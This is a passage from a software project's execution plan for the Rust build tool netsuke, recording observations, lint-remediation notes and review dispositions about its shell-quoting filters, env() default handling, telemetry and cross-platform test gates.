hyphen. Both forms were round-tripped through a real + `/bin/sh`, and `set -- -C target-cpu'=native' a' b'; echo $#` reports `3`. + Impact: every expected string in the behavioural specification and the + acceptance transcript is fixed by this, not by taste. A reviewer who "tidies" + `a' b'` into `'a b'` is changing the crate's output, not the plan's. + +- Observation: `shell_quote` is correct only in **unquoted** argv position. + Inside `"..."` it inserts its own quote characters as data. Evidence: + `sh -c 'printf "%s\n" "RUSTFLAGS=-D'"'"' warnings'"'"'"'` prints + `RUSTFLAGS=-D' warnings'`, quote characters included. The first draft's + acceptance transcript contained exactly this defect, and none of its nine + obligations would have caught it, because every one exercised the filter in + isolation. Impact: drives OBL-CONTEXT, the corrected transcripts, and the + guide precondition. It also explains why `{{ ins }}`/`{{ outs }}` are handled + by a shell-context tracker rather than a filter — the tracker is the stronger + mechanism, and ADR-041 should name it as the intended successor. +- Observation: `Value::try_iter()` is not a sequence check. + Evidence: `minijinja-2.24.0/src/value/mod.rs::try_iter` returns an empty + iterator for `None` and `Undefined`, characters for a string, and an object's + own iteration (a map's keys) for `Object`; only numbers and booleans are + rejected. Impact: `{{ 'abc' | shell_join }}` would have quoted three + characters into a command line. Drives D8 and OBL-KIND-GATE. +- Observation: `Kwargs::get::>` silently stringifies rather than + raising a type error. Evidence: verified against `minijinja 2.24.0` — + `default=['a','b']` yields the string `["a", "b"]`, and `default=true` yields + `"True"`. Impact: the first draft's D4 would have pasted JSON into a shell + recipe, in direct violation of RFC 0006 §6.6. Drives the revised D4. +- Observation: `src/manifest/mod.rs` is exactly 400 lines, the constraint-8 cap. + Evidence: `wc -l src/manifest/mod.rs`. Impact: EP-M1's first edit would + breach the cap; drives the extraction step, which also converges with the + in-flight `issue-651` branch (R9). +- Observation: 64 real `sh` subprocess spawns take about 86 ms, not seconds. + Evidence: measured on this machine. Impact: retires the batching idea; the + plan's 10-second budget had two orders of magnitude of headroom, and batching + would have broken proptest shrinking. + +- Observation: fenced examples in `README.md`, `docs/users-guide.md`, and + `docs/stdlib-yaml-and-jinja-guide.md` are executed, and their identifiers are + pinned by a hand-maintained registry. Evidence: + `tests/documentation_examples/mod.rs:15-21`; + `tests/documentation_examples_tests.rs:18-61,143`. Impact: the `RUSTFLAGS` + documentation is real acceptance evidence, not prose. + +The four observations below were recorded on 2026-09-19, while reconciling this +plan against `origin/main` after rebasing onto commit `0ba6672f` (previously +`81d44f89`). They are grouped because they share one cause: upstream landed +roughly twenty-nine commits of environment-policy, budget, and observability +work that this plan had assumed was still pending. + +- Observation: `src/manifest/registration.rs` **already exists on `main`** with + exactly the four members this plan scheduled to extract — + `RESERVED_VAR_NAMES`, `localize_recipe_error`, `register_manifest_vars`, + `manifest_structure_error` — at 65 lines. Evidence: + `src/manifest/registration.rs`; `src/manifest/mod.rs` fell from exactly 400 + lines to 259. Impact: R9's collision is a convergence, the plan's choice of + module name and member set was correct, and EP-M1's first step changes from + "extract these four things" to "extend this module with the `env` and `glob` + registrations, which are still inline in `src/manifest/mod.rs`". Confidence: + verified. +- Observation: `env_var_with` no longer matches the signature this plan's + interface section specified. It is now + `env_var_with(name, policy: &EnvAccessPolicy, read_env)`: the ADR-026 access + policy is evaluated **before** the reader is called, and a blocked name never + reaches it. Evidence: `src/manifest/env_reader.rs`, and the regression test + `blocked_lookup_omits_name_and_value_from_every_diagnostic_surface`, which + asserts `!reader_was_called`. Impact: EP-M1 must add `fallback` *without* + displacing the policy, or `env('SECRET', default='')` becomes a way to + sidestep an operator's block. The plan previously said nothing about this + interaction, which is exactly the kind of silence a new default-argument + feature would have exploited. Confidence: verified. +- Observation: every `env()` lookup already reaches a single telemetry + boundary, `env_telemetry::record_env_lookup`, with a closed four-value + outcome vocabulary exported for the application recorder's admission check. + Evidence: `src/manifest/env_telemetry.rs`; `src/observability_recorder.rs`, + `ENV_LOOKUP_TOTAL => + exact_labels(key, &[(OUTCOME_LABEL, &ENV_LOOKUP_OUTCOME_VALUES)])`. + Impact: a substituted default must **not** add a fifth outcome — the lookup + did succeed — so the substitution is observable through the existing + `success` series plus the `tracing::debug!` event. Whether a separate counter + earns its keep is left to EP-M1 as an evidence question rather than assumed. + Confidence: verified. +- Observation: the runner's manifest-loading seam this plan's EP-M4 needs is + `ManifestLoadInputs { network_policy, env_access_policy, budget_limits }` with + `from_cli(&Cli)`, consumed by + `load_manifest_for_build_with_limits(path, inputs, on_stage)`, which builds a + `ManifestEnvironment` internally. Evidence: `src/runner/generation.rs`; + `src/runner/mod.rs` resolves `recipe_shell` immediately before constructing + the graph-generation context; the six-rung `from_path_*` ladder in + `src/manifest/path_loaders.rs` is the public surface. Impact: EP-M4 threads + the resolved shell through an existing struct rather than inventing a + parallel seam, which shrinks the change but adds a parameter-list hazard — + `ManifestLoadInputs` is `pub(crate)` with `pub(super)` fields, and + `from_path_with_policy_and_environment_and_limits` already carries + `#[expect(clippy::too_many_arguments)]` against `clippy.toml`'s + `too-many-arguments-threshold`, which is 4. Adding a fifth parameter to that + ladder requires a second `#[expect]` with a reason, or a regrouping. + Confidence: verified. +- Observation: `src/manifest/render.rs` is now **exactly 400 lines**, the + constraint-8 cap, so it has zero headroom, while `src/manifest/mod.rs` + dropped to 259. `src/stdlib/config/mod.rs` is at 383 and + `src/stdlib/register.rs` at 393 — both close to the cap. Evidence: `wc -l` on + each. Impact: EP-M4 must add the `dialect` field to `StdlibConfig` and the + two filter registrations without growing `render.rs` at all, and must reclaim + lines in `config/mod.rs` and `register.rs` before adding to them. Measured, + not estimated: re-run `wc -l` at EP-M4 rather than trusting this count, since + the same twenty-nine commits that moved these numbers will keep moving them. + Confidence: verified at `0ba6672f`. + +The two observations below were recorded on 2026-09-19 during EP-M1's +post-implementation lint triage. Both are properties of the gate toolchain +rather than of this feature, but both cost real time to diagnose, so they are +recorded for whoever hits them next. + +- Observation: `clippy::single_match_else` and `clippy::option_if_let_else` can + fire on the **same** `match` under `-D warnings`, leaving no rewrite that + satisfies both — `option_if_let_else` demands `map_or_else`, and the closure + shape it demands then trips `single_match_else`. Evidence: the original + `env_var_with_default`, whose `NotPresent` arm reported two events and whose + other arm logged one line, failed both lints at once. Impact: the escape is + structural, not stylistic — extracting the two-event arm into + `substitute_fallback(fallback: Option) -> Result` and + calling it from the outer match gives each lint a shape it accepts. + Confidence: verified by `make lint` going green with no `#[expect]` added. +- Observation: Whitaker's `no_expect_outside_tests` keys off the **nearest + enclosing function**, not the file's test-ness. An *asserting* helper in a + `#[cfg(test)]` module is not a test, even when called only from `#[test]` + bodies. Evidence: `src/manifest/tests/env_function.rs:60`, + `assert_resolution` at its pre-fix revision, called from + `default_substitutes_for_absence_only` and + `empty_fallback_satisfies_an_absent_variable`. Impact: such a helper must + compare values rather than unwrap them. Reducing the outcome to a local + `Resolved` enum — `Value(String)` and `Failure(ErrorKind)` — both satisfies + the lint and *improves* the failure message, because the assertion now prints + the observed and wanted pair rather than a bare `expect` panic line. + Confidence: verified. +- Observation: splitting a test file for the 400-line cap can **create** lint + findings that the unsplit file did not have. `clippy.toml` sets + `allow-expect-in-tests = true`, so `expect_used` is exempted by *enclosing + function context*: the same call is allowed inline in a `#[test]` body and + denied one frame away in a helper that body calls. Evidence: the split of + `tests/manifest_env_tests.rs` moved one `expect_err` into a shared + `ensure_template_is_rejected`, and clippy then flagged that line while + leaving four identical `expect_err` calls in `#[test]` bodies in the *same + file* unflagged; it also flagged `needless_pass_by_value` on a helper the + split had just extracted. Impact: a mechanical split is not lint-neutral. + Budget a lint run after one, and prefer a structural fix — take the parameter + by reference, return the error and let the caller branch via `let … else` — + over sprinkling `#[expect]`, which `clippy.toml` deliberately steers toward + so that migrated sites re-warn once. Confidence: verified. + +- Observation: **An example can be justified by a false premise and still read + as considered.** The Purpose example chained its commands with `;` and the + plan defended that at length, citing `docs/users-guide.md` on the Windows + PowerShell contract and Windows PowerShell 5.1's lack of `&&`. The rationale + was wrong twice. First, the example was never Windows-runnable: it opens with + `RUSTFLAGS=... cargo build`, a POSIX prefix assignment PowerShell rejects, + and it ends with `touch`. Second, `;` is *worse* than `&&` here regardless of + platform, because it makes the recipe's exit status that of `touch`, so a + failed `cargo build` still writes the stamp — the exact silent success the + example exists to demonstrate avoiding. The review caught the symptom (no + success guard) and proposed `&&`, which the plan had explicitly rejected, so + the two could not agree until the premise itself was tested. The example now + uses `&&`, is labelled POSIX-only, and names the PowerShell equivalents. + General shape: a stated rationale is evidence about the author's reasoning, + not about the world; when a finding conflicts with a documented decision, the + decision's *premise* is the thing to check, not the decision's authority. The + citation had also drifted — the quoted sentence is at + `users-guide.md:365-366`, not `:333-339` — which is the same relative-anchor + hazard recorded above. +- Observation: **A pervasive house convention can make a correct grammar + finding look like a false positive, and the honest fix is narrower than + either side proposed.** CodeRabbit flagged three locale lines where + `{ $kind }` was the inflected object of a verb. The construction is real, and + the placeholders render *English* kind names (`sequence`, `map`, + `plain object`) spliced into every catalogue, so they can never agree with a + target-language verb — the defect is structural, not stylistic. But the same + construction appears throughout the pre-existing catalogues + (`pl:77,157,185,232,371`, `cs:77,157,185`, `el:77,158,186`), so "fix the + family" as the review's per-line reporting implies would rewrite a large body + of upstream translation outside this milestone's remit. What was actually in + scope: the six lines this branch *added* (the three flagged and their + `default_not_string` siblings), switched to the label-and-colon form the same + files already use for `clap-error-*`, which keeps `{ $kind }` in nominative + position and preserves the placeholder the l10n audit enforces. Scope was + settled by asking which lines the branch added, not which lines the review + named. +- Observation: **A task-list item's continuation body is indented two spaces, + not six, and at six it becomes an indented code block.** MD046 anchors on the + *first* block style markdownlint sees, and this file's first code block is + fenced, so every later indented block is a violation. For `- [x] text` the + content column is 2, because the `[x]` is inline text rather than a list + marker; a paragraph indented 6 is 4 beyond content, which CommonMark reads as + an indented code block. The trap is that the *first* paragraph after the item + escapes: it continues the item's own open paragraph lazily, so any + indentation works and the construct looks fine. Only a paragraph that follows + a blank line is re-evaluated as a new block, so the error surfaces not where + the bad indentation is written but at the first blank-line-separated + paragraph after it. Impact: the real file reported one error at line 2551, + while isolated probe files of the identical *visible* shape passed with zero + — the difference being that a probe with no preceding fenced block never + establishes "fenced" as the house style, so `consistent` mode has nothing to + compare against and the indented block is accepted. The probe has to contain + the fence to be a probe. Verified by threshold: at 4 and 5 spaces the + paragraph is a list continuation, at 6 and 7 it is a code block. + +- Observation: **The plan's central query-surface premise is false — but so was + the first correction of it, and the second error was the more instructive + one.** The `ManifestLoadMode::ManifestQuery` section says the query surface + "renders different quoting from the build for the same expression". The first + reading of the code concluded that this was true on *no* host, because "both + surfaces resolve through `RecipeShell::host_default`". That reading is wrong: + it mistook the *default* for the *value actually used*. `StdlibConfig::new` + does seed `dialect` from `host_default()` (`src/stdlib/config/mod.rs:109`), + but the build path never keeps that seed — `src/runner/mod.rs:153` resolves + the shell from `NETSUKE_WINDOWS_SHELL` and `src/manifest/query.rs:142` passes + it to `with_recipe_shell`, which overwrites the field. The query surface has + no such override: `register_query_helpers` calls + `recipe_text::register_filters(env, RecipeShell::host_default().dialect())` + directly (`src/stdlib/register.rs:199`). So on a Windows host with + `NETSUKE_WINDOWS_SHELL=bash` the build quotes for `Sh` and the query for + `PowerShell`, from the same expression — the divergence the plan originally + asserted, and the one `register_query_helpers` and + `ManifestLoadMode::ManifestQuery` each document as deliberate. + + **What the corrupted reading got right, and it is the half that matters.** + The *hazard* the plan attached to the divergence — that resolving the shell + on the query path would make `netsuke help targets` fail on a malformed + `NETSUKE_WINDOWS_SHELL` — is the reason not to close the gap, and it is + reachable only on Windows. On a non-Windows host `resolve_recipe_shell_with` + returns `Posix` *before* it reads the environment, so the value cannot be + malformed there; and on every host `execute_help` returns before + `resolve_recipe_shell()` is reached (`src/runner/mod.rs:149-153`), so the + query never resolves a shell at all. Measured on this (Linux) host: + `netsuke --json help targets` under + `NETSUKE_WINDOWS_SHELL=definitely-not-a-shell` exits 0 and renders + byte-identically to the same query with the variable unset. That measurement + is *consistent with both readings*, which is exactly how the error survived: + it was taken as settling a question it cannot reach, because the + `cfg!(windows)` early return makes the whole comparison vacuous here. The + divergence is a Windows-only, configuration-dependent claim, and no test on + this host can observe it. + + **Impact, and the correction.** `docs/developers-guide.md:145-158` already + states the divergence correctly — "the difference is wider than 'the same + value reached twice' … it is masked, not absent" — and + `src/stdlib/register.rs:188-196` documents it as deliberate. What was wrong + was this plan's `Surprises & discoveries` entry claiming they "agree on every + dialect", and the test comment in `dialect_probes.rs` repeating it. Both are + corrected to state the masked divergence. The general shape is worth keeping: + a rationale that names a *mechanism* is testable, and this one was tested — + but a test whose answer is fixed by an unrelated early return is not a test + of the claim. The second lesson is the sharper one: a correction can be + *more* confident than the original and still be wrong, so a claim about + configuration must be traced to the value the code *uses*, not the value it + is *initialized with*. +- Observation: **A probe that names its own input cannot detect a defect in the + default.** `dialect=` overrides the registration's dialect outright, so a + query probe written as `shell_quote(dialect='sh')` renders identically whether + `register_query_helpers` is seeded with `Sh` or with PowerShell — all six + fields of the first version of the probe passed 6/6 against a deliberately + wrong seed. The fix is a *trio*: each expression is rendered three times, + once with an explicit `sh`, once with an explicit `powershell`, and once with + the dialect omitted, and the omitted field must equal the twin that the + host's default selects. Two further bugs surfaced only once the seed was + failing: a guard asserting the omitted field matches *neither* twin + (inverted, and it fired on the correct tree), and a membership test + (`default == sh || default == power_shell`) that is satisfied by the very + seed it was meant to catch, because a wrong default *is* one of the twins. + The working formulation mirrors `RecipeShell::host_default`'s own `cfg!` in a + `const fn`, so the expected twin is chosen by the same predicate the product + code uses rather than hardcoded to `sh` — which matters because + `make SHELL=bash test` is a merge gate on `windows-latest` + (`.github/workflows/ci-windows.yml`) and the file runs there. General shape: + a negative control is only a control if the fault it seeds is on the path the + assertion reads; where a keyword short-circuits configuration, the assertion + must exercise the path where the configuration is *read*, and the expected + value must come from the same predicate as the implementation's. Recorded + because the first green run here was the false one. +- Observation: **The corresponding negative control in that file is weaker than + it looks, and the review that found this is right about the gap and wrong + about the fix.** `assert_full_stdlib_renders` renders the probe through a + build and asserts only that the build *succeeds*. So it rules out two + identical failures, which is what its doc says it is for — but not a build + whose default dialect differs from the query's, which is the comparison the + test's name implies. The agreement is carried entirely by the query-side + assertion; the control contributes nothing to it. Closing the gap needs the + build's *rendered text*, and the obvious place to read it is the target's + `description:` — which does not work: a `command:` target's description is + deliberately dropped, the source comment recording that "rule descriptions + remain the sole source of Ninja progress text" + (`src/ir/from_manifest.rs:137-141`), confirmed by generating a Ninja file + from the probe manifest and finding no `description` line in it. A rule + *does* emit one, measured the same way, so the probe can be moved onto a rule + and the six fields compared directly. Not done in the review-fix commit that + recorded this, because what it would pin is the Windows-only masked default + that finding 12's entry is about — strengthening evidence for a claim no test + on this host can reach is worth a deliberate change, not a comment tweak. + General shape: a "negative control" that asserts a *sibling* operation + succeeded is not a weaker version of the comparison, it is a different + proposition, and it will be green for every wrong rendering the comparison is + meant to catch. +- Observation: **An `.feature`-only edit does not rebuild the BDD harness, and + the stale binary reports the *old* scenario text rather than failing + outright.** `rstest-bdd-macros` 0.5.0 discovers feature files with `WalkDir` + at macro-expansion time (`src/macros/scenarios/feature_discovery.rs:72`) and + emits no `include_str!`/`include_bytes!` for them, so Cargo's dependency + fingerprint contains no path under `tests/features` and + `cargo nextest run --test bdd_tests` happily re-runs the previously compiled + scenarios. This produced a long false diagnosis: the assertion was patched to + `ZZPROBE`, then to a phrase that exists nowhere, and the run still reported + the original generated step text — which reads exactly like a macro capture + bug and is nothing of the kind. `touch tests/bdd_tests.rs` forces the rebuild + and the new scenarios appear. Impact: any behavioural scenario added or + edited in isolation must be preceded by a touch, or the red/green evidence is + about the previous revision. It also means a *committed* feature file can be + verified by a gate that never compiled it, so the touch belongs in the loop + rather than in a remembered one-off. +- Observation: **The `{name:string}` step capture strips the surrounding + quotes without unescaping anything, so a planned scenario written with `\"` + is a MiniJinja syntax error rather than a quoted value.** The pattern is + `r#""(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*'"#` + (`rstest-bdd-patterns-0.5.0/src/hint.rs:20`) and the generated code is + `&raw[1..raw.len() - 1]` + (`rstest-bdd-macros-0.5.0/src/codegen/wrapper/arguments/step_parse.rs:67`) — + only the outer characters are removed, so a backslash-escaped quote inside a + double-quoted capture reaches MiniJinja verbatim and raises + `unexpected character`. The plan's scenario used exactly that form. + Respelling the step with a single-quoted Jinja string and an escaped inner + quote (`{{ 'a b \'$HOME\'' | shell_quote(dialect='sh') }}`) renders the + plan's expected value verbatim: `a' b '\''$HOME'\'`. General shape: a hint's + regex governs what the *capture* accepts, and stripping the delimiters is not + unescaping; the two halves are separate mechanisms and only one of them + exists. The same distinction is why the composition suite binds its values as + template *variables* rather than splicing them into template source. +- Observation: **`shell_join`'s sequence error carries the `netsuke::jinja::` + code that `compact`'s does not, and the difference is one call.** `compact` + raises `STDLIB_COLLECTIONS_COMPACT_NOT_SEQUENCE` directly + (`src/stdlib/collections.rs:122`), so its message is + `compact expects a sequence, received …` with no bracketed code; `shell_join` + raises the same-shaped message through `args_error` + (`src/stdlib/recipe_text/mod.rs:76`), which wraps it as + `[netsuke::jinja::shell::args] { $details }`. Both keys exist in all 35 + catalogues; only six entries in `locales/en-GB/messages.ftl` carry a + `netsuke::` prefix at all, and `compact`'s is not one of them. Impact: the + behavioural scenario for `compact` asserts on its English text while the + `shell_*` scenarios assert on codes, which is not an inconsistency in the + suite but a faithful reflection of two registration paths — and it is a + latent trap for any future catalogue translation, since the `compact` + assertion would have to change if that message ever gained a code. It is + recorded rather than "fixed" because adding a code to an existing, + long-shipped collections message is a diagnostic-contract change outside this + milestone's remit: `flatten` sits beside it in the same file and would have + to move too, or the two would disagree. +- Observation: **Three of the composition suite's premises were false, and the + suite is more useful for having lost them.** (1) PowerShell command lists do + not use `eval`: the `eval` wrapper is produced by `command_evaluator`/ + `shell_single_quote` in `src/ninja_gen_command_list.rs` and PowerShell does + not reach that renderer, so the assertion that `Invoke-Expression` is + *absent* is the one that holds — a first draft asserted eval on all three + transports and would have encoded a renderer behaviour that does not exist. + (2) The filter refuses an inadmissible value *before* any Ninja guard sees + it, so the control asserts on the `netsuke::jinja::shell::unquotable` code at + the template rather than expecting the downstream checker to catch a line + feed later. (3) The three `RecipeShell` variants are three *transports*, not + three interpreters — `Posix` runs the text directly, `Bash` wraps it in + `bash.exe -e -c "…"`, and `PowerShell` base64-encodes it for + `-EncodedCommand` — so only the `Posix` arm is executable on this host and + the other two are asserted on transport shape, with the `Bash` payload + additionally *decoded* back to its inner script and run under the host's own + POSIX shell. General shape: "compose it and run it" is only an end-to-end + test for the arm whose end is reachable; for the others the honest obligation + is that the payload survives the encoding, and stating which arm executes is + what keeps the suite from claiming coverage it does not have. + +- [x] (2026-09-27) EP-M4 test-suite lint remediation, and the EP-M5 + reconnaissance recorded before starting it. + + `fdc5ff8f` fixed the seven clippy errors the first `make lint` reported, but + that output was truncated mid-stream. A full capture showed **31**, across + three targets rather than one — the property suite, the composition suite, + and the query suite. Two of the three had never been linted at all, because + `lint-clippy` aborts at the first failing crate and the property suite was + the one it happened to compile first. `93b4ce1b` clears them: 13 + `panic_in_result_fn` converted to `ensure!`, five `print_stderr` skip + messages funnelled through one `#[expect]`-carrying helper, five + `format_collect` folds, the PowerShell transport decode rewritten to mirror + the production decoder in `ninja_gen_recipe_shell.rs`, `is_multiple_of` and + `>> 1` where `/` and `%` are denied outright, and a `std::fs` read that + Whitaker rejects as bypassing the capability policy. Verified by `make lint` + and `make check-fmt` passing and the three targets running 63/63 with nothing + skipped. + + **EP-M5 reconnaissance.** The milestone is untouched: no `adr-041`, no doc + edits, `shell_escape` still appears at 13 sites. Several of the milestone's + own citations are stale, and one of its items has already been discharged by + an earlier milestone: + + - Item 4's `docs/netsuke-design.md:687-688` now lands in the "Execution + feedback" prose, which is unrelated; the `shell_escape` at `:728` is the + real target and the plan's own instruction to "re-locate by content" is what + saves it. + - Item 15's `docs/roadmap.md:343-356` and `:1162-1169` have drifted to + `365-382` and `1185-1196`. + - Item 5's `docs/users-guide.md:489-491` has drifted to `:518`. + - Item 2 — the `env(name, default=…)` contract for §4.4 — is **already + shipped**: EP-M1 landed `env_default_from_kwargs` in + `src/manifest/registration.rs`, keyed on `MANIFEST_ENV_DEFAULT_NOT_STRING`. + The design-doc rewrite still has to describe it; nothing has to be built. + - Item 9's env-substitution counter is the one item the plan itself invites + dropping ("if that sentence cannot be written, drop the counter and record + the decision"). The reason to drop it is legible: the counter would be + admitted by `accepts_name`/`accepts_counter_registration`, so it would + *pass* every gate while measuring nothing an operator can distinguish from + "no substitutions happened" — `record_env_lookup` already counts every + lookup as `success`, and EP-M1's `tracing::debug!` already records each + substitution individually. Decision: drop it, ship the + `shell_quote_dialect_total` counter, record the reasoning here. + - The `tested-example` markers are scanned in exactly three files + (`tests/documentation_examples/mod.rs`, the `DOCUMENTS` list), so item 7's + new example belongs in `docs/stdlib-yaml-and-jinja-guide.md`, which is + already one of them. + + `Blocked / open questions` below still cites the `149685d3` gate table. That + table is a historical record of an earlier plateau, not the current HEAD; the + run for `93b4ce1b` is in flight and will be recorded in its own entry rather + than overwriting it. + +- [x] (2026-09-27) The Windows-only compile break that no Linux gate could + see, found while requesting the EP-M4 review. + + Scrutineer ran `coderabbit review --agent` against base `ebcedaef` at head + `83981593` and returned ten findings. While capturing the CodeRabbit check + status it incidentally found **CI was red at that exact head**: run + `36290229944` failed `Windows / lint-windows` and + `Windows / build-test-windows`, both with + `E0425: cannot find function quote in this scope` at + `src/stdlib/command/child_argument.rs:156` and `:169`. This branch's rename + (`R080`, `quote.rs` to `child_argument.rs` and `quote` to + `quote_child_argument`) updated both definitions and the non-Windows test + module but missed the `#[cfg(all(windows, test))]` module below them, which + called bare `quote` twice. Fixed in `45b2fd87`. + + **No gate in the seven-target set could see it.** The module is + `cfg(windows)`, so `make lint` (clippy and both Whitaker passes) and + `make test` never compile it; `check-fmt` is the only gate that even parses + it, and rustfmt does not resolve names. The earlier "all seven gates green" + verdict was therefore accurate and still said nothing about this code. The + gate set is Linux-complete, not platform-complete, and the recorded + consequence is that a green seven-gate run must not be reported as "CI will + pass". + + Verified by two **liveness-checked** oracles. A green run from an unprobed + oracle is void, so each was first shown to reproduce the defect: + + 1. A standalone probe crate compiling `child_argument.rs` verbatim under + `--target x86_64-pc-windows-msvc --all-targets`. Against the unpatched + file it reproduces CI's two `E0425`s exactly; against the patched file it + exits 0. The liveness direction is what makes the green direction mean + anything. + 2. The real crate with `#[cfg(all(windows, test))]` rewritten to + `#[cfg(test)]` and the complementary arms inverted, so the Windows module + compiles on Linux. An injected call to a nonexistent function is caught; + the unmodified file compiles clean under `-D warnings`. + + This matches the recorded note that `netsuke` cannot be cross-compiled here + (`ring`'s build script fails for want of `lib.exe`, before this crate is + reached), so forcing the gate is the local substitute, and for this purpose + it is strictly better than the cross-check because it reaches `cfg(windows)` + test code that a cross-check of the library would not. + + A sweep of the whole PR diff found no second instance: the diff contains two + renames, the other being a test-file split, and no other changed file has a + cfg-gated module. + + **Consequence for EP-M5.** The CodeRabbit findings are documentation and + test-size work, but the CI failure outranked them and was fixed first. The + review's own findings are recorded in `Blocked / open questions`. + +- [x] (2026-09-27) EP-M5 items 9-11 closed, and the `6719ddcb` gate run + cleared. This entry records the four gate defects and their repairs, the + item-9 counter decision, and the documentation work that was still open. + + **Item 9 — the env-substitution counter is dropped, and the decision is + final.** `netsuke_manifest_shell_quote_dialect_total` shipped (four label + combinations, admitted by `src/observability_recorder.rs`). The second + counter the item named, `netsuke_manifest_env_default_substituted_total`, + never shipped and must not: `substitute_fallback` + (`src/manifest/env_reader.rs`) already records `OUTCOME_SUCCESS` *and* emits + `tracing::debug!(fallback_used = true, …)`. The plan's own escape clause + applies — the one-sentence test cannot be met, because the `success` series + already counts every substitution and the debug event already marks each one, + so a dedicated counter would be no more distinguishable from "no + substitutions happened" than that existing pair. A third option (re-labelling + `success` with a `default=` source) was rejected because + `src/manifest/env_telemetry.rs`'s module doc forbids promoting the + substituted default to a fifth outcome. + + **The four gate defects, all repaired.** Detail and evidence are in + `Blocked / open questions`; in brief: a private-intra-doc-link error that + failed both `make lint` and `make doc-coverage` (one edit, two gates); the + `shell_join` test cases binding a scalar where the filter requires a sequence; + `hand-written` against an existing `typos.toml` entry; and an `mdtablefix` + reflow over five Markdown files. + + **Two documentation defects in this branch's own earlier work, now + corrected.** Both were in `docs/developers-guide.md` and both were claims the + source did not support: + + 1. The guide asserted the build and query surfaces "agree on every dialect". + They do not. The query surface takes `RecipeShell::host_default()`; the + build surface takes the shell the runner resolves, which on Windows + honours `NETSUKE_WINDOWS_SHELL`. A Windows host configured for Bash + renders `sh` quoting for the build and PowerShell quoting for + `help targets` from one manifest expression. The divergence is + *masked*, not absent: `execute_help` returns before + `resolve_recipe_shell()` is reached. `register_query_helpers` and + `ManifestLoadMode::ManifestQuery` each document it as deliberate, so the + guide was contradicting the code's own stated intent. The corrected + paragraph now separates what is true (explicit dialects agree on every + host) from what is not (the defaults). + 2. The guide promised "a seeded-fault check that a wrong default dialect in + `register_query_helpers` is caught". No such mechanism exists: + `tests/stdlib_manifest_query_tests.rs` has six tests and none seeds a + fault. The seeded run was a **manual, one-time experiment** recorded in + `Surprises & discoveries`. The guide now describes what the tests + actually do — the dialect-*omitting* probes trip a wrong default, and + `host_default_field` mirrors the product `cfg!(windows)` so the file + still runs under `make SHELL=bash test` on Windows. + + **Items 10 and 11 completed.** The guide gained the POSIX round-trip clause + (one word is a promise about the shell: for `dialect='sh'` a POSIX shell + splitting the output yields exactly one field byte-identical to the input, + discharged against a real `sh` by the property suite) and the `select` + contrast in the `compact` bullet. Verified against the vendored MiniJinja + 2.24.0 rather than assumed: `select_or_reject` filters on `is_true()`, so it + drops `0`, `false`, and empty sequences — which is exactly the contrast. The + developers guide gained the three remaining conventions: the + both-registration-surfaces rule, the D8 `Value::try_iter()`-is-not-a- + sequence-check rule, and the argument-style rule (trailing `Option` for + options reading naturally in a fixed order, `Kwargs` for independent named + options and widening enumerations). The 35-catalogue and verbatim-bracketed- + code rules were already present in "Adding or changing messages" + (`docs/developers-guide.md:353-368`) and were deliberately not duplicated. + +- [x] (2026-09-27) Second repair pass: the two defects the cascade had masked, + plus a branch-wide spelling sweep. Detail is in `Blocked / open questions`. + Ticked after re-verifying the described end state still holds at `c3078c1f` + rather than on the strength of the entry's own prose: `recorded_render` is + `src/observability_recorder_dialect_tests.rs:38` and genuinely returns + `Result>`, propagating its three fallible steps with `?`, + with each caller unwrapping at its own call site inside a recognized test + function. Note the helper lives under `src/`, not `tests/`, because it is a + `#[path]`-included test module — a `tests/`-scoped grep finds no trace of it, + which is the likely reason the box was left unticked. + + **The cascade mask, now measured twice.** `make lint` aborts at the first + failing stage, so the `cargo doc` failure at `6719ddcb` concealed *two more* + lint errors behind it — a `clippy::excessive_nesting` and three Whitaker + `no_expect_outside_tests` errors. Both surfaced only once `cargo doc` was + repaired. The operative rule for this branch: a gate's problem count is a + **lower bound**; only a fully green `make lint` shows the stage list was + exhausted. Do not treat "I fixed everything the gate printed" as "the gate + will pass". + + **The Whitaker rule is attribute-based, not module-based.** It recognizes a + function as test-like solely by its attribute (`#[test]`, `#[rstest]`, and a + fixed path list in + `/home/leynos/.local/share/whitaker/common/src/attributes/mod.rs:11-22`). An + enclosing `#[cfg(test)] mod tests` does **not** make a helper test-only. So + the fallible setup must live in the recognized function body, or the helper + must propagate `Result`. Chosen here: `recorded_render` returns + `anyhow::Result>` and propagates with `?`; each of its + three call sites unwraps inside its own `#[rstest]`/`#[test]`. That matches + the sibling modules, which contain zero `expect(` calls. + + **Spelling sweep.** Five genuine `-ise` instances in this branch's own delta + were repaired, and two classes were deliberately kept — `localised` in + `tests/features/*.feature`, which four pre-existing scenarios already use, + and the deliberate `defualt` typo under test in + `tests/manifest_env_tests/default_argument.rs`. The full sweep and the + reasoning are in `Blocked / open questions`. + +- [x] (2026-09-27) Rebase onto `96b89ca9`, the seven gates green at `338df305`, + and the review findings dispositioned. This entry is the record of the + post-review repair pass; the dispositions are itemized so a later reader can + re-check them without replaying the review. + + **The rebase and what it cost.** Forty-three commits replayed onto + `origin/main` at `96b89ca9`. Exactly one conflict, in `docs/users-guide.md`, + in two regions. Both were resolved by keeping this branch's text, because + main's side of each hunk was the *pre-3.14.8* prose ("The `shell_escape` + filter described in … is not implemented in beta3", "Beta3 does not accept a + default argument") — the very sentences `RM-3.14.8` names as the defect. + Main's unrelated edit in that file, `beta3` → `beta4` at the version + headings, was in disjoint regions and survived intact. That was checked + rather than assumed: 11 `beta4` occurrences, and one deliberately historical + `beta3` in the note describing the *older* release. + + **Rebase-before-gate ordering matters, and it is the reverse of the intuitive + one.** The pre-rebase gate run was void the moment the replay landed, so the + gates were re-run on `338df305` *before* any finding repair was committed. + That ordering is deliberate: it separates "this branch is green on current + main" from "this branch is green with the review fixes", so a failure in the + second run cannot be mistaken for a rebase artefact. All seven reported PASS + at `338df305`. + + **The PR was `CONFLICTING`, and a conflicting PR runs no CI at all.** No + workflow run existed for the pre-rebase head `a2311ee7`; the push that + cleared the conflict was immediately followed by three runs for `338df305`. + "Queued" and "no runs yet" are different states, and only `mergeable` + distinguishes them. + + **Finding dispositions.** Eight findings; four genuine, four refused on + evidence. The four genuine ones shared a shape worth naming: each was a case + where code did something *reasonable-sounding* that the module's own doc + comment, or the RFC it cites, forbids. + + 1. **`resolve_dialect` silently stringified a non-string dialect — FIXED.** + `kwargs.get::>` routes through `MiniJinja`'s `String` + conversion, which `to_string`s a number or boolean, so + `shell_quote(dialect=3)` became the dialect named `"3"` and failed as + *unknown* rather than as the wrong *type*. RFC 0006 §6.6 forbids exactly + this: "A helper that expects a string rejects numbers and booleans rather + than stringifying 